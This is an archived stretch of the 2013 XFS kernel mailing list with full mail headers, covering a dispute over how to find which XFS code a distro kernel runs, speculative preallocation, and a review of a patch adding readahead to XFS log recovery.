+1000 From: Dave Chinner To: Jay Ashworth Cc: xfs@oss.sgi.com Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) Message-ID: <20130729000000.GZ13468@dastard> X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) References: <52C3E9E6-61DD-4537-9A64-C8CBFC86F6E3@gmail.com> <31450470.2412.1374978094689.JavaMail.root@benjamin.baylink.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <31450470.2412.1374978094689.JavaMail.root@benjamin.baylink.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1375056032 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137387 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Jul 27, 2013 at 10:21:34PM -0400, Jay Ashworth wrote: > ----- Original Message ----- > > From: "aurfalien" > > > If it RHEL/CentOS really is the only option, then perhaps get one box > > on RHEL and submit bugs for it. > > Sure, but "submit bugs" was a straw man the entire time The OP wasn't talking > about how and where to submit bugs, and neither was I. > > The OP was trying to determine how he got from Distro/Kernel Version to > XFS checkout ID, so that he could *talk to the XFS devs* about his problem. > > And no one had a straight answer for him, which straight answer *is*: > > "You have to talk to whomever builds the kernel packages for the distro > you're working on; they should be able to tell you which XFS {version| > release|checkout} is built into that particular kernel RPM." I gave a straight answer: you have to look at the kernel source package that ships with the distro. > From there, we veered *very* close to "we don't talk to people unless > they're paying Red Had customers", and I'm relatively certain that was > *not* the takeaway Dave was aiming for with us. Yup, nothing quite like geting quoted out of context, is there? I said CentOS is downstream of RHEL, and so the only way to influence it's content in terms of bug fixes and documentation is to get changes into RHEL. And getting changes and documentation into RHEL requires $$$..... Fundamentally, I don't care what distro you use. If you've got a bug, I'll try to find it and fix it. That's my responsibility to the wider XFS community. If you want me to implement or document something for you, then you need to provide some incentive for me to do that. Red Hat provides a lot of incentive for me - they pay my bills. But asking me to document something already documented in code and git, for multiple different code bases? What's my incentive? There isn't any from a RH POV, nor is there any from a monetary POV. And it]ll be boring work, so there's no intellectual incentive, either. So, tell me, why should I do what you ask? That's the down side to open-source software - if nobody wants to scratch the same itch as you need scratched, then only you can scratch it. Hell, if you really wanted to be useful, you'd go and document what you know already and propose it for inclusion into the kernel documentation. Then we'd review it, you'd correct it, and you would have improved the state of the code for everyone. That's how open source software works. Not by demanding other people do something for you, but doing stuff yourself and providing the fruits of your labour to the wider benefit of the community. > If I were a developer on a major kernel subsystem project where > that actually mattered, I think I'd probably get with the kernel builders > at at least the major distros and kernel.org, and get them to tell me... I think you'll find in that case most kernel developers say "please reproduce on a current, unmodified mainline kernel" and so don't have to care one bit about what is in the distro kernel. Then they find and fix the bug in the mainline kernel - getting that fix onto the user's machines is the user's problem.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Jul 28 19:02:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7CE657F37 for ; Sun, 28 Jul 2013 19:02:55 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5D5BA304032 for ; Sun, 28 Jul 2013 17:02:52 -0700 (PDT) X-ASG-Debug-ID: 1375056170-04bdf02f231a4720001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id oHV7CpZwcr96XR3q for ; Sun, 28 Jul 2013 17:02:50 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqkGAE+w9VF5LPxH/2dsb2JhbABbgwY1uHCFMoEUF3SCJAEBBAE6HCMFCwgDGAklDwUlAyETiAoFDbcVBBaPZweDFm8Dl16RTYMmKg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail06.adl2.internode.on.net with ESMTP; 29 Jul 2013 09:32:49 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V3avH-0004cN-Hc; Mon, 29 Jul 2013 10:02:47 +1000 Date: Mon, 29 Jul 2013 10:02:47 +1000 From: Dave Chinner To: Stefan Ring Cc: Jay Ashworth , Linux fs XFS Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) Message-ID: <20130729000247.GA13468@dastard> X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) References: <52C3E9E6-61DD-4537-9A64-C8CBFC86F6E3@gmail.com> <31450470.2412.1374978094689.JavaMail.root@benjamin.baylink.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1375056170 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137387 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Jul 28, 2013 at 09:18:52AM +0200, Stefan Ring wrote: > > "You have to talk to whomever builds the kernel packages for the distro > > you're working on; they should be able to tell you which XFS {version| > > release|checkout} is built into that particular kernel RPM." > > For what it's worth, you can try to pry this info out of Oracle's > RedPatch , which actually > doesn't look all that active anymore recently, but given that it's > Oracle, one cannot seriously be surprised about anything. Oh, that thing. It hasn't ben maintained because it didn't work properly, needed lots of hand holding, and nobody actually cared. > The thing is, that RHEL XFS and mainline XFS seem to have drifted > apart a good deal, and as result, for an outsider, it is very > difficult to correlate patches between the two branches. Sure, they have diverged signficant;y as we've backported various bits of XFs fetaures and bug fixes back into RHEL6. As have every other distro that doesn't track mainline directly. That's why you need to look at the kernel source package to know what code the distro is running. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Jul 28 19:04:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 591367F3F for ; Sun, 28 Jul 2013 19:04:30 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E6914AC003 for ; Sun, 28 Jul 2013 17:04:26 -0700 (PDT) X-ASG-Debug-ID: 1375056261-04cb6c2e9f1a3560001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id JPyo1TiL5PMDHxHD for ; Sun, 28 Jul 2013 17:04:22 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqcGAE+w9VF5LPxH/2dsb2JhbABbgwa5JYUygRQXdIIkAQEFOhwjEAgDDgoJJQ8FJQMhE4gPtyYWj2cHgxZvA5dekU2DJio Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail06.adl2.internode.on.net with ESMTP; 29 Jul 2013 09:34:20 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V3awk-0004cW-Ei; Mon, 29 Jul 2013 10:04:18 +1000 Date: Mon, 29 Jul 2013 10:04:18 +1000 From: Dave Chinner To: Jason Rosenberg Cc: Ben Myers , stan@hardwarefreak.com, xfs@oss.sgi.com Subject: Re: understanding speculative preallocation Message-ID: <20130729000418.GB13468@dastard> X-ASG-Orig-Subj: Re: understanding speculative preallocation References: <1374823420041-35002.post@n7.nabble.com> <20130726115021.GO13468@dastard> <51F2CD8B.8080207@hardwarefreak.com> <20130726205018.GM3111@sgi.com> <20130727013024.GS13468@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1375056261 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137387 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Jul 27, 2013 at 10:19:17PM -0400, Jason Rosenberg wrote: > Thanks Dave, > > The automatic prealloc removal, if no new writes after 5 minutes, sounds > perfect for my use case. But realistically, I'm not likely to get our org > to push/find an os update just for this purpose too easily. > > So, in the meantime, the question remains, assuming I have the version I > have currently (dynamic preallocation, persists indefinitely until the file > is closed/app quits, etc.), will this idea work (e.g. close the file after > writing, then re-open read-only?). Maybe, maybe not. depends on whether the "don't remove prealloc" heuristic was triggered at any time.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From jra@baylink.com Sun Jul 28 19:06:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3E5BE7F52 for ; Sun, 28 Jul 2013 19:06:40 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C9B31AC002 for ; Sun, 28 Jul 2013 17:06:39 -0700 (PDT) X-ASG-Debug-ID: 1375056398-04bdf02f221a49f0001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id 8OVXKvtjYZ0ysSuh for ; Sun, 28 Jul 2013 17:06:38 -0700 (PDT) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id F168E1F003D6 for ; Sun, 28 Jul 2013 20:06:37 -0400 (EDT) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ANQsBrcfeLV5 for ; Sun, 28 Jul 2013 20:06:32 -0400 (EDT) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id 9AA7C1F003BB for ; Sun, 28 Jul 2013 20:06:32 -0400 (EDT) Date: Sun, 28 Jul 2013 20:06:32 -0400 (EDT) From: Jay Ashworth To: xfs@oss.sgi.com Message-ID: <32553786.2492.1375056392388.JavaMail.root@benjamin.baylink.com> In-Reply-To: <20130729000247.GA13468@dastard> Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) MIME-Version: 1.0 X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [107.41.119.69] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - SAF3 (Win)/6.0.9_GA_2686) X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1375056398 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137387 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 2.00 BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL Custom Rule HREF_FROM_MISMATCH_TEXT_URIx1_HL ----- Original Message ----- > From: "Dave Chinner" > Sure, they have diverged signficant;y as we've backported various > bits of XFs fetaures and bug fixes back into RHEL6. As have every > other distro that doesn't track mainline directly. That's why you > need to look at the kernel source package to know what code the > distro is running. And... all the way back to Jason's original question: The way that you get the information out of a kernel/kernel RPM to determine which XFS version it's running... is? Cause it's clearly not obvious to either him or me. Cheers, -- jra -- Jay R. Ashworth Baylink jra@baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover DII St Petersburg FL USA #natog +1 727 647 1274 From zwu.kernel@gmail.com Sun Jul 28 20:38:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D0E547F37 for ; Sun, 28 Jul 2013 20:38:16 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4E25FAC002 for ; Sun, 28 Jul 2013 18:38:13 -0700 (PDT) X-ASG-Debug-ID: 1375061891-04cbb02c3e1a65d0001-NocioJ Received: from mail-qc0-f182.google.com (mail-qc0-f182.google.com [209.85.216.182]) by cuda.sgi.com with ESMTP id sSIhoDjasceW6vBD (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 28 Jul 2013 18:38:12 -0700 (PDT) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.182 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.182] Received: by mail-qc0-f182.google.com with SMTP id c11so1517912qcv.41 for ; Sun, 28 Jul 2013 18:38:11 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.182] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.182] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=E6lEJhraEhvRRC+x+RJMYSjWEgms5k9lkCUQo/wCeMA=; b=riaLGtZhSvQPymCg7MZhTm/saR12OF2OGByMa/VKyDj3jqG8QLnVpKNJi6/7y9orOr ckgMMunvVL40oYfWGG7nO2/PiYs3euAlSFtlI0WxIF4OWD9bnDN++mTnsrIRhn0yq7Uu sB8Grdp7K3yyF50bYOpXSlAOqHri89bPC4kLyeNpKEyva9kEEmtN4yYkZqc/M1DuKtGz mIw0UIOxSA4ZM83rXuK8AU+ZESqBet2LUUBpCiSzWXAJSge0TodrHZovQGmCoKUFi8o3 OqOQHLF15kTswRqcU4XdmXGKvKc1q5h4kdhU0bjhfllebFQZhzkVhsgMRYIKhV7xOEJM JL8w== MIME-Version: 1.0 X-Received: by 10.49.71.38 with SMTP id r6mr66919987qeu.30.1375061891453; Sun, 28 Jul 2013 18:38:11 -0700 (PDT) Received: by 10.49.48.226 with HTTP; Sun, 28 Jul 2013 18:38:11 -0700 (PDT) In-Reply-To: <20130726113521.GM13468@dastard> References: <1374740619-29797-1-git-send-email-zwu.kernel@gmail.com> <20130726025009.GE21982@dastard> <20130726113521.GM13468@dastard> Date: Mon, 29 Jul 2013 09:38:11 +0800 Message-ID: Subject: Re: [PATCH] xfs: introduce object readahead to log recovery From: Zhi Yong Wu X-ASG-Orig-Subj: Re: [PATCH] xfs: introduce object readahead to log recovery To: Dave Chinner Cc: xfstests , "linux-fsdevel@vger.kernel.org" , linux-kernel mlist , Zhi Yong Wu Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-qc0-f182.google.com[209.85.216.182] X-Barracuda-Start-Time: 1375061891 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137389 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Fri, Jul 26, 2013 at 7:35 PM, Dave Chinner wrote: > On Fri, Jul 26, 2013 at 02:36:15PM +0800, Zhi Yong Wu wrote: >> Dave, >> >> All comments are good to me, and will be applied to next version, thanks a lot. >> >> On Fri, Jul 26, 2013 at 10:50 AM, Dave Chinner wrote: >> > On Thu, Jul 25, 2013 at 04:23:39PM +0800, zwu.kernel@gmail.com wrote: >> >> From: Zhi Yong Wu >> >> >> >> It can take a long time to run log recovery operation because it is >> >> single threaded and is bound by read latency. We can find that it took >> >> most of the time to wait for the read IO to occur, so if one object >> >> readahead is introduced to log recovery, it will obviously reduce the >> >> log recovery time. >> >> >> >> In dirty log case as below: >> >> data device: 0xfd10 >> >> log device: 0xfd10 daddr: 20480032 length: 20480 >> >> >> >> log tail: 7941 head: 11077 state: >> > >> > That's only a small log (10MB). As I've said on irc, readahead won't >> Yeah, it is one 10MB log, but how do you calculate it based on the above info? > > length = 20480 blocks. 20480 * 512 = 10MB.... Thanks. > >> > And the recovery time from this is between 15-17s: >> > >> > .... >> > log device: 0xfd20 daddr: 107374182032 length: 4173824 >> > ^^^^^^^ almost 2GB >> > log tail: 19288 head: 264809 state: >> > .... >> > real 0m17.913s >> > user 0m0.000s >> > sys 0m2.381s >> > >> > And runs at 3-4000 read IOPs for most of that time. It's largely IO >> > bound, even on SSDs. >> > >> > With your patch: >> > >> > log tail: 35871 head: 308393 state: >> > real 0m12.715s >> > user 0m0.000s >> > sys 0m2.247s >> > >> > And it peaked at ~5000 read IOPS. >> How do you know its READ IOPS is ~5000? > > Other monitoring. iostat can tell you this, though I use PCP... thanks. > >> > Ok, so you've based the readahead on the transaction item list >> > having a next pointer. What I think you should do is turn this into >> > a readahead queue by moving objects to a new list. i.e. >> > >> > list_for_each_entry_safe(item, next, &trans->r_itemq, ri_list) { >> > >> > case XLOG_RECOVER_PASS2: >> > if (ra_qdepth++ >= MAX_QDEPTH) { >> > recover_items(log, trans, &buffer_list, &ra_item_list); >> > ra_qdepth = 0; >> > } else { >> > xlog_recover_item_readahead(log, item); >> > list_move_tail(&item->ri_list, &ra_item_list); >> > } >> > break; >> > ... >> > } >> > } >> > if (!list_empty(&ra_item_list)) >> > recover_items(log, trans, &buffer_list, &ra_item_list); >> > >> > I'd suggest that a queue depth somewhere between 10 and 100 will >> > be necessary to keep enough IO in flight to keep the pipeline full >> > and prevent recovery from having to wait on IO... >> Good suggestion, will apply it to next version, thanks. > > FWIW, I hacked a quick test of this into your patch here and a depth > of 100 brought the reocvery time down to under 8s. For other > workloads which have nothing but dirty inodes (like fsmark) a depth > of 100 drops the recovery time from ~100s to ~25s, and the iop rate > is peaking at well over 15,000 IOPS. So we definitely want to queue > up more than a single readahead... Excited, I will try it. By the way, how do you try the workload which has nothing but dirty dquote objects? > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com -- Regards, Zhi Yong Wu From david@fromorbit.com Sun Jul 28 21:41:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 43B327F37 for ; Sun, 28 Jul 2013 21:41:30 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 331298F8033 for ; Sun, 28 Jul 2013 19:41:27 -0700 (PDT) X-ASG-Debug-ID: 1375065684-04cb6c153d1a7260001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id uoYARQ2SvSRHDbYi for ; Sun, 28 Jul 2013 19:41:24 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqgGANLV9VF5LPxH/2dsb2JhbABbgwa5JYUygRQXdIIkAQEFOhwjDAQIAw4HAwklDwUlAyETiA+3QBaPZweDFm8Dl16RTYMmKg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail06.adl2.internode.on.net with ESMTP; 29 Jul 2013 12:11:09 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V3dOT-0004rn-DH; Mon, 29 Jul 2013 12:41:05 +1000 Date: Mon, 29 Jul 2013 12:41:05 +1000 From: Dave Chinner To: Jay Ashworth Cc: xfs@oss.sgi.com Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) Message-ID: <20130729024105.GC13468@dastard> X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) References: <20130729000247.GA13468@dastard> <32553786.2492.1375056392388.JavaMail.root@benjamin.baylink.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <32553786.2492.1375056392388.JavaMail.root@benjamin.baylink.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1375065684 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137391 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Jul 28, 2013 at 08:06:32PM -0400, Jay Ashworth wrote: > ----- Original Message ----- > > From: "Dave Chinner" > > > Sure, they have diverged signficant;y as we've backported various > > bits of XFs fetaures and bug fixes back into RHEL6. As have every > > other distro that doesn't track mainline directly. That's why you > > need to look at the kernel source package to know what code the > > distro is running. > > And... all the way back to Jason's original question: > > The way that you get the information out of a kernel/kernel RPM to > determine which XFS version it's running... is? Cause it's clearly > not obvious to either him or me. The "version" of XFS that you are running is that of the kernel you are running. i.e. 2.6.32-279.x.y or 2.6.32-358.x.y. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Jul 28 21:46:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 800BD7F37 for ; Sun, 28 Jul 2013 21:46:10 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0CFBEAC002 for ; Sun, 28 Jul 2013 19:46:06 -0700 (PDT) X-ASG-Debug-ID: 1375065964-04cb6c2e9c1abec0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id e8Afscpy3B70WaWy for ; Sun, 28 Jul 2013 19:46:05 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqcGAAXX9VF5LPxH/2dsb2JhbABbgwa5JoUygRQXdIIkAQEFOhwjEAgDGAklDwUlAyETiA+3RBaOOoEtB4MWbwOXXpFNgyYqgS0 Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail06.adl2.internode.on.net with ESMTP; 29 Jul 2013 12:15:48 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V3dT0-0004sR-9Y; Mon, 29 Jul 2013 12:45:46 +1000 Date: Mon, 29 Jul 2013 12:45:46 +1000 From: Dave Chinner To: Zhi Yong Wu Cc: xfstests , "linux-fsdevel@vger.kernel.org" , linux-kernel mlist , Zhi Yong Wu Subject: Re: [PATCH] xfs: introduce object readahead to log recovery Message-ID: <20130729024546.GD13468@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: introduce object readahead to log recovery References: <1374740619-29797-1-git-send-email-zwu.kernel@gmail.com> <20130726025009.GE21982@dastard> <20130726113521.GM13468@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1375065964 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137391 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 29, 2013 at 09:38:11AM +0800, Zhi Yong Wu wrote: > By the way, how do you try the workload which has nothing but dirty > dquote objects? Create quota limits for non-existent users. That will allocate the dquots and dirty them. Or if you already have a few hundred thousand dquots, just change the limits on them all to get them logged and dirty... Cheers, Dave. -- Dave Chinner david@fromorbit.com From bounce-mc.us7_18889475.87993-linux-xfs=oss.sgi.com@mail177.wdc02.mcdlv.net Sun Jul 28 21:51:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,MIME_QP_LONG_LINE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9894A7F37 for ; Sun, 28 Jul 2013 21:51:23 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3FAB4304039 for ; Sun, 28 Jul 2013 19:51:20 -0700 (PDT) X-ASG-Debug-ID: 1375066276-04bdf02f211adba0001-w1Z2WR Received: from mail177.wdc02.mcdlv.net (mail177.wdc02.mcdlv.net [205.201.130.177]) by cuda.sgi.com with ESMTP id Hgs7JglcxNRtLBHv for ; Sun, 28 Jul 2013 19:51:17 -0700 (PDT) X-Barracuda-Envelope-From: bounce-mc.us7_18889475.87993-linux-xfs=oss.sgi.com@mail177.wdc02.mcdlv.net X-Barracuda-Apparent-Source-IP: 